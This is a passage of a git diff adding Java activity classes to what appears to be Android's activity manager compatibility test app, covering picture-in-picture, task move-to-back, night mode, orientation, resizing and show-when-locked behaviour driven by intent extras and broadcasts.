+ public void onConfigurationChanged(Configuration newConfig) {
+ super.onConfigurationChanged(newConfig);
+ Log.i(TAG, "Configuration changed: " + newConfig.screenWidthDp + ","
+ + newConfig.screenHeightDp);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/MoveTaskToBackActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/MoveTaskToBackActivity.java
new file mode 100644
index 0000000..6c37115
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/MoveTaskToBackActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Activity that finishes itself using "moveTaskToBack".
+ */
+public class MoveTaskToBackActivity extends AbstractLifecycleLogActivity {
+
+ private static final String TAG = MoveTaskToBackActivity.class.getSimpleName();
+
+ private String mFinishPoint;
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+
+ final Intent intent = getIntent();
+ mFinishPoint = intent.getExtras().getString("finish_point");
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+
+ if (mFinishPoint.equals("on_pause")) {
+ moveTaskToBack(true /* nonRoot */);
+ }
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+
+ if (mFinishPoint.equals("on_stop")) {
+ moveTaskToBack(true /* nonRoot */);
+ }
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/NightModeActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/NightModeActivity.java
new file mode 100644
index 0000000..7c73900
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/NightModeActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.UiModeManager;
+import android.content.Context;
+import android.os.Bundle;
+
+/** Activity that changes UI mode on creation and handles corresponding configuration change. */
+public class NightModeActivity extends AbstractLifecycleLogActivity {
+
+ private static final String TAG = NightModeActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+
+ UiModeManager uiManager = (UiModeManager) getSystemService(Context.UI_MODE_SERVICE);
+ // Switch the mode two times to make sure it is independent of the current setting.
+ uiManager.setNightMode(UiModeManager.MODE_NIGHT_YES);
+ uiManager.setNightMode(UiModeManager.MODE_NIGHT_NO);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/NoHistoryActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/NoHistoryActivity.java
new file mode 100644
index 0000000..3080fac
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/NoHistoryActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+/**
+ * An activity that has the noHistory flag set.
+ */
+public class NoHistoryActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = NoHistoryActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/NoRelaunchActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/NoRelaunchActivity.java
new file mode 100644
index 0000000..b173f8d
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/NoRelaunchActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+public class NoRelaunchActivity extends AbstractLifecycleLogActivity {
+
+ private static final String TAG = NoRelaunchActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/NonResizeableActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/NonResizeableActivity.java
new file mode 100644
index 0000000..e3468e3
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/NonResizeableActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+public class NonResizeableActivity extends AbstractLifecycleLogActivity {
+
+ private static final String TAG = NonResizeableActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity.java
new file mode 100644
index 0000000..f5397e6
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity.java
@@ -0,0 +1,339 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.app.PictureInPictureParams;
+import android.content.res.Configuration;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.SystemClock;
+import android.util.Log;
+import android.util.Rational;
+import android.view.WindowManager;
+
+public class PipActivity extends AbstractLifecycleLogActivity {
+
+ private static final String TAG = "PipActivity";
+
+ // Intent action that this activity dynamically registers to enter picture-in-picture
+ private static final String ACTION_ENTER_PIP = "android.server.am.PipActivity.enter_pip";
+ // Intent action that this activity dynamically registers to move itself to the back
+ private static final String ACTION_MOVE_TO_BACK = "android.server.am.PipActivity.move_to_back";
+ // Intent action that this activity dynamically registers to expand itself.
+ // If EXTRA_SET_ASPECT_RATIO_WITH_DELAY is set, it will also attempt to apply the aspect ratio
+ // after a short delay.
+ private static final String ACTION_EXPAND_PIP = "android.server.am.PipActivity.expand_pip";
+ // Intent action that this activity dynamically registers to set requested orientation.
+ // Will apply the oriention to the value set in the EXTRA_FIXED_ORIENTATION extra.
+ private static final String ACTION_SET_REQUESTED_ORIENTATION =
+ "android.server.am.PipActivity.set_requested_orientation";
+ // Intent action that will finish this activity
+ private static final String ACTION_FINISH = "android.server.am.PipActivity.finish";
+
+ // Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
+ private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
+ // Calls enterPictureInPicture() on creation
+ private static final String EXTRA_ENTER_PIP = "enter_pip";
+ // Used with EXTRA_AUTO_ENTER_PIP, value specifies the aspect ratio to enter PIP with
+ private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR =
+ "enter_pip_aspect_ratio_numerator";
+ // Used with EXTRA_AUTO_ENTER_PIP, value specifies the aspect ratio to enter PIP with
+ private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR =
+ "enter_pip_aspect_ratio_denominator";
+ // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value
+ private static final String EXTRA_SET_ASPECT_RATIO_NUMERATOR = "set_aspect_ratio_numerator";
+ // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value
+ private static final String EXTRA_SET_ASPECT_RATIO_DENOMINATOR = "set_aspect_ratio_denominator";
+ // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value with a
+ // fixed delay
+ private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR =
+ "set_aspect_ratio_with_delay_numerator";
+ // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value with a
+ // fixed delay
+ private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR =
+ "set_aspect_ratio_with_delay_denominator";
+ // Adds a click listener to finish this activity when it is clicked
+ private static final String EXTRA_TAP_TO_FINISH = "tap_to_finish";
+ // Calls requestAutoEnterPictureInPicture() with the value provided
+ private static final String EXTRA_ENTER_PIP_ON_PAUSE = "enter_pip_on_pause";
+ // Starts the activity (component name) provided by the value at the end of onCreate
+ private static final String EXTRA_START_ACTIVITY = "start_activity";
+ // Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
+ private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
+ // Calls enterPictureInPicture() again after onPictureInPictureModeChanged(false) is called
+ private static final String EXTRA_REENTER_PIP_ON_EXIT = "reenter_pip_on_exit";
+ // Shows this activity over the keyguard
+ private static final String EXTRA_SHOW_OVER_KEYGUARD = "show_over_keyguard";
+ // Adds an assertion that we do not ever get onStop() before we enter picture in picture
+ private static final String EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP = "assert_no_on_stop_before_pip";
+ // The amount to delay to artificially introduce in onPause() (before EXTRA_ENTER_PIP_ON_PAUSE
+ // is processed)
+ private static final String EXTRA_ON_PAUSE_DELAY = "on_pause_delay";
+
+ private boolean mEnteredPictureInPicture;
+
+ private Handler mHandler = new Handler();
+ private BroadcastReceiver mReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (intent != null) {
+ switch (intent.getAction()) {
+ case ACTION_ENTER_PIP:
+ enterPictureInPictureMode();
+ break;
+ case ACTION_MOVE_TO_BACK:
+ moveTaskToBack(false /* nonRoot */);
+ break;
+ case ACTION_EXPAND_PIP:
+ // Trigger the activity to expand
+ Intent startIntent = new Intent(PipActivity.this, PipActivity.class);
+ startIntent.setFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+ startActivity(startIntent);
+
+ if (intent.hasExtra(EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR)
+ && intent.hasExtra(EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR)) {
+ // Ugly, but required to wait for the startActivity to actually start
+ // the activity...
+ mHandler.postDelayed(() -> {
+ final PictureInPictureParams.Builder builder =
+ new PictureInPictureParams.Builder();
+ builder.setAspectRatio(getAspectRatio(intent,
+ EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR,
+ EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR));
+ setPictureInPictureParams(builder.build());
+ }, 100);
+ }
+ break;
+ case ACTION_SET_REQUESTED_ORIENTATION:
+ setRequestedOrientation(Integer.parseInt(intent.getStringExtra(
+ EXTRA_FIXED_ORIENTATION)));
+ break;
+ case ACTION_FINISH:
+ finish();
+ break;
+ }
+ }
+ }
+ };
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ // Set the fixed orientation if requested
+ if (getIntent().hasExtra(EXTRA_FIXED_ORIENTATION)) {
+ final int ori = Integer.parseInt(getIntent().getStringExtra(EXTRA_FIXED_ORIENTATION));
+ setRequestedOrientation(ori);
+ }
+
+ // Set the window flag to show over the keyguard
+ if (getIntent().hasExtra(EXTRA_SHOW_OVER_KEYGUARD)) {
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+ }
+
+ // Enter picture in picture with the given aspect ratio if provided
+ if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
+ if (getIntent().hasExtra(EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR)
+ && getIntent().hasExtra(EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR)) {
+ try {
+ final PictureInPictureParams.Builder builder =
+ new PictureInPictureParams.Builder();
+ builder.setAspectRatio(getAspectRatio(getIntent(),
+ EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR,
+ EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR));
+ enterPictureInPictureMode(builder.build());
+ } catch (Exception e) {
+ // This call can fail intentionally if the aspect ratio is too extreme
+ }
+ } else {
+ enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+ }
+ }
+
+ // We need to wait for either enterPictureInPicture() or requestAutoEnterPictureInPicture()
+ // to be called before setting the aspect ratio
+ if (getIntent().hasExtra(EXTRA_SET_ASPECT_RATIO_NUMERATOR)
+ && getIntent().hasExtra(EXTRA_SET_ASPECT_RATIO_DENOMINATOR)) {
+ final PictureInPictureParams.Builder builder =
+ new PictureInPictureParams.Builder();
+ builder.setAspectRatio(getAspectRatio(getIntent(),
+ EXTRA_SET_ASPECT_RATIO_NUMERATOR, EXTRA_SET_ASPECT_RATIO_DENOMINATOR));
+ try {
+ setPictureInPictureParams(builder.build());
+ } catch (Exception e) {
+ // This call can fail intentionally if the aspect ratio is too extreme
+ }
+ }
+
+ // Enable tap to finish if necessary
+ if (getIntent().hasExtra(EXTRA_TAP_TO_FINISH)) {
+ setContentView(R.layout.tap_to_finish_pip_layout);
+ findViewById(R.id.content).setOnClickListener(v -> {
+ finish();
+ });
+ }
+
+ // Launch a new activity if requested
+ String launchActivityComponent = getIntent().getStringExtra(EXTRA_START_ACTIVITY);
+ if (launchActivityComponent != null) {
+ Intent launchIntent = new Intent();
+ launchIntent.setComponent(ComponentName.unflattenFromString(launchActivityComponent));
+ startActivity(launchIntent);
+ }
+
+ // Register the broadcast receiver
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(ACTION_ENTER_PIP);
+ filter.addAction(ACTION_MOVE_TO_BACK);
+ filter.addAction(ACTION_EXPAND_PIP);
+ filter.addAction(ACTION_SET_REQUESTED_ORIENTATION);
+ filter.addAction(ACTION_FINISH);
+ registerReceiver(mReceiver, filter);
+
+ // Dump applied display metrics.
+ Configuration config = getResources().getConfiguration();
+ dumpDisplaySize(config);
+ dumpConfiguration(config);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+
+ // Finish self if requested
+ if (getIntent().hasExtra(EXTRA_FINISH_SELF_ON_RESUME)) {
+ finish();
+ }
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+
+ // Pause if requested
+ if (getIntent().hasExtra(EXTRA_ON_PAUSE_DELAY)) {
+ SystemClock.sleep(Long.valueOf(getIntent().getStringExtra(EXTRA_ON_PAUSE_DELAY)));
+ }
+
+ // Enter PIP on move to background
+ if (getIntent().hasExtra(EXTRA_ENTER_PIP_ON_PAUSE)) {
+ enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+ }
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+
+ if (getIntent().hasExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP) && !mEnteredPictureInPicture) {
+ Log.w(TAG, "Unexpected onStop() called before entering picture-in-picture");
+ finish();
+ }
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+
+ unregisterReceiver(mReceiver);
+ }
+
+ @Override
+ public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode) {
+ super.onPictureInPictureModeChanged(isInPictureInPictureMode);
+
+ // Fail early if the activity state does not match the dispatched state
+ if (isInPictureInPictureMode() != isInPictureInPictureMode) {
+ Log.w(TAG, "Received onPictureInPictureModeChanged mode=" + isInPictureInPictureMode
+ + " activityState=" + isInPictureInPictureMode());
+ finish();
+ }
+
+ // Mark that we've entered picture-in-picture so that we can stop checking for
+ // EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP
+ if (isInPictureInPictureMode) {
+ mEnteredPictureInPicture = true;
+ }
+
+ if (!isInPictureInPictureMode && getIntent().hasExtra(EXTRA_REENTER_PIP_ON_EXIT)) {
+ // This call to re-enter PIP can happen too quickly (host side tests can have difficulty
+ // checking that the stacks ever changed). Therefor, we need to delay here slightly to
+ // allow the tests to verify that the stacks have changed before re-entering.
+ mHandler.postDelayed(() -> {
+ enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+ }, 1000);
+ }
+ }
+
+ @Override
+ public void onConfigurationChanged(Configuration newConfig) {
+ super.onConfigurationChanged(newConfig);
+ dumpDisplaySize(newConfig);
+ dumpConfiguration(newConfig);
+ }
+
+ /**
+ * Launches a new instance of the PipActivity directly into the pinned stack.
+ */
+ static void launchActivityIntoPinnedStack(Activity caller, Rect bounds) {
+ final Intent intent = new Intent(caller, PipActivity.class);
+ intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
+
+ final ActivityOptions options = ActivityOptions.makeBasic();
+ options.setLaunchBounds(bounds);
+ options.setLaunchWindowingMode(WINDOWING_MODE_PINNED);
+ caller.startActivity(intent, options.toBundle());
+ }
+
+ /**
+ * Launches a new instance of the PipActivity in the same task that will automatically enter
+ * PiP.
+ */
+ static void launchEnterPipActivity(Activity caller) {
+ final Intent intent = new Intent(caller, PipActivity.class);
+ intent.putExtra(EXTRA_ENTER_PIP, "true");
+ intent.putExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
+ caller.startActivity(intent);
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+ /**
+ * @return a {@link Rational} aspect ratio from the given intent and extras.
+ */
+ private Rational getAspectRatio(Intent intent, String extraNum, String extraDenom) {
+ return new Rational(
+ Integer.valueOf(intent.getStringExtra(extraNum)),
+ Integer.valueOf(intent.getStringExtra(extraDenom)));
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity2.java b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity2.java
new file mode 100644
index 0000000..c7c9858
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivity2.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+/**
+ * A secondary activity that has the same behavior as {@link PipActivity}.
+ */
+public class PipActivity2 extends PipActivity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/PipActivityWithSameAffinity.java b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivityWithSameAffinity.java
new file mode 100644
index 0000000..12ff39f
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PipActivityWithSameAffinity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.app.PictureInPictureParams;
+
+/**
+ * An activity that can enter PiP with a fixed affinity to match
+ * {@link TestActivityWithSameAffinity}.
+ */
+public class PipActivityWithSameAffinity extends Activity {
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+
+ enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/PipOnStopActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/PipOnStopActivity.java
new file mode 100644
index 0000000..264e14c
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PipOnStopActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * This activity will try and enter picture in picture when it is stopped.
+ */
+public class PipOnStopActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.tap_to_finish_pip_layout);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+
+ startActivity(new Intent(this, PipActivity.class));
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+
+ try {
+ enterPictureInPictureMode();
+ } catch (RuntimeException e) {
+ // Known failure, we expect this call to throw an exception
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/PortraitOrientationActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/PortraitOrientationActivity.java
new file mode 100644
index 0000000..a63e3b3
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/PortraitOrientationActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.res.Configuration;
+
+public class PortraitOrientationActivity extends AbstractLifecycleLogActivity {
+
+ @Override
+ protected String getTag() {
+ return "PortraitOrientationActivity";
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ final Configuration config = getResources().getConfiguration();
+ dumpDisplaySize(config);
+ }
+
+ @Override
+ public void onConfigurationChanged(Configuration newConfig) {
+ super.onConfigurationChanged(newConfig);
+ dumpDisplaySize(newConfig);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ResizeableActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ResizeableActivity.java
new file mode 100644
index 0000000..31aa9f2
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ResizeableActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package android.server.am;
+
+import android.content.res.Configuration;
+import android.os.Bundle;
+
+public class ResizeableActivity extends AbstractLifecycleLogActivity {
+ @Override
+ protected String getTag() {
+ return "ResizeableActivity";
+ }
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ setContentView(R.layout.resizeable_activity);
+ dumpDisplaySize(getResources().getConfiguration());
+ }
+
+ @Override
+ public void onConfigurationChanged(Configuration newConfig) {
+ super.onConfigurationChanged(newConfig);
+ dumpDisplaySize(newConfig);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ResumeWhilePausingActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ResumeWhilePausingActivity.java
new file mode 100644
index 0000000..62fbb8b
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ResumeWhilePausingActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class ResumeWhilePausingActivity extends Activity {
+ // Empty
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedActivity.java
new file mode 100644
index 0000000..1fc7b74
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedActivity extends BroadcastReceiverActivity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrActivity.java
new file mode 100644
index 0000000..2814361
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+public class ShowWhenLockedAttrActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = ShowWhenLockedAttrActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrRemoveAttrActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrRemoveAttrActivity.java
